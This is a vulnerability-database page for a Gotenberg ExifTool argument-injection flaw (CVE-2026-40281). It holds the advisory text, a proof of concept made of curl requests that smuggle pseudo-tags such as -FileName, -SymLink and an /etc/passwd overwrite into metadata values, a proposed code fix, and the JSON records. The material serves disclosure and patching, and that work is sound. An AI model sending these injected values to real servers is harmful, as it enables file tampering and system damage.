Vulnerability-Lookup

GHSA-Q7R4-HC83-HF2Q

Vulnerability from github – Published: 2026-04-30 17:27 – Updated: 2026-05-08 19:26

Summary

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Details

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F 'files=@test.pdf;type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

// See description for details

Steps to Reproduce

Set up the application using the default configuration
See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.30.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:27:10Z",
    "nvd_published_at": "2026-05-06T21:16:01Z",
    "severity": "CRITICAL"
  },
  "details": "## Vulnerability Details\n\n**CWE**: CWE-20 - Improper Input Validation\n\nThe metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str). A newline (\\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.\n\n## Summary\n\nThe metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool\u0027s `WriteMetadata` sends each key/value pair to ExifTool\u0027s stdin as:\n\n```\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n```\n\nA `\\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags \u2014 the exact tags the key blocklist was designed to prevent.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` \u2014 `WriteMetadata()` function:\n\n```go\n// KEY validation added in v8.30.1 (commit 405f106)\nfor key := range metadata {\n    if !safeKeyPattern.MatchString(key) {  // \u2190 only keys checked\n        return fmt.Errorf(...)\n    }\n}\n\n// VALUE passed through unsanitized:\ncase string:\n    fileMetadata[0].SetString(key, val)  // \u2190 val may contain \\n\n```\n\ngo-exiftool (`barasher/go-exiftool`) then writes:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n// If str = \"test\\n-FileName=/tmp/inject_proof\"\n// ExifTool receives two lines:\n//   -Title=test\n//   -FileName=/tmp/inject_proof\n```\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8\n\n2. Create a test PDF:\n   curl -s -F \u0027files=@/dev/stdin;filename=index.html;type=text/html\u0027 \\\n     -o test.pdf http://localhost:3001/forms/chromium/convert/html \\\n     \u003c\u003c\u003c \u0027\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e\u0027\n\n3. Inject -FileName via value newline:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F \u0027files=@test.pdf;type=application/pdf\u0027 \\\n     -F \u0027metadata={\"Title\":\"test\\n-FileName=/tmp/inject_proof\"}\u0027 \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   # Returns HTTP 404 (file moved away from temp path)\n\n4. Verify injection inside container:\n   docker exec gotenberg-test ls -la /tmp/inject_proof\n   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)\n\n5. Symlink injection:\n   curl -s -w \"\\nHTTP %{http_code}\" \\\n     -F \u0027files=@test.pdf;type=application/pdf\u0027 \\\n     -F \u0027metadata={\"Title\":\"test\\n-SymLink=/tmp/sym_inject\"}\u0027 \\\n     http://localhost:3001/forms/pdfengines/metadata/write\n   docker exec gotenberg-test ls -la /tmp/sym_inject\n   # lrwxrwxrwx ... /tmp/sym_inject -\u003e /tmp/.../source.pdf\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default)\n2. **Overwrite** arbitrary files \u2014 e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database\n3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives\n4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup\n\nThis is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign.\n\n## Proposed Fix\n\nAdd value sanitization parallel to the existing key check in `WriteMetadata`:\n\n```go\nfor key, value := range metadata {\n    if !safeKeyPattern.MatchString(key) {\n        return fmt.Errorf(\"write PDF metadata with ExifTool: invalid metadata key %q\", key)\n    }\n    if str, ok := value.(string); ok {\n        if strings.ContainsAny(str, \"\\n\\r\\x00\") {\n            return fmt.Errorf(\"write PDF metadata with ExifTool: invalid value for key %q (contains control character)\", key)\n        }\n    }\n}\n```\n\nOr, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool.\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.",
  "id": "GHSA-q7r4-hc83-hf2q",
  "modified": "2026-05-08T19:26:57Z",
  "published": "2026-04-30T17:27:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)"
}

CVE-2026-40281 (GCVE-0-2026-40281)

Vulnerability from cvelistv5 – Published: 2026-05-06 20:46 – Updated: 2026-05-07 12:33

Title

Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values

Summary

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

CWE

CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/gotenberg/gotenberg/security/a…	x_refsource_CONFIRM
https://github.com/gotenberg/gotenberg/commit/405…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gotenberg	gotenberg	Affected: <= 8.30.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40281",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T12:32:33.631778Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T12:33:44.118Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gotenberg",
          "vendor": "gotenberg",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 8.30.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-88",
              "description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
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      "providerMetadata": {
        "dateUpdated": "2026-05-06T20:46:47.960Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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      "references": [
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          "name": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q",
          "tags": [
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          "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q"
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          "url": "https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318"
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      "source": {
        "advisory": "GHSA-q7r4-hc83-hf2q",
        "discovery": "UNKNOWN"
      },
      "title": "Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "datePublished": "2026-05-06T20:46:47.960Z",
    "dateReserved": "2026-04-10T20:22:44.034Z",
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    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-Q7R4-HC83-HF2Q

Vulnerability Details

Summary

Root Cause

Steps to Reproduce

Impact

Proposed Fix

Vulnerable Code

Steps to Reproduce

Impact

CVE-2026-40281 (GCVE-0-2026-40281)

Tags

Sightings

Nomenclature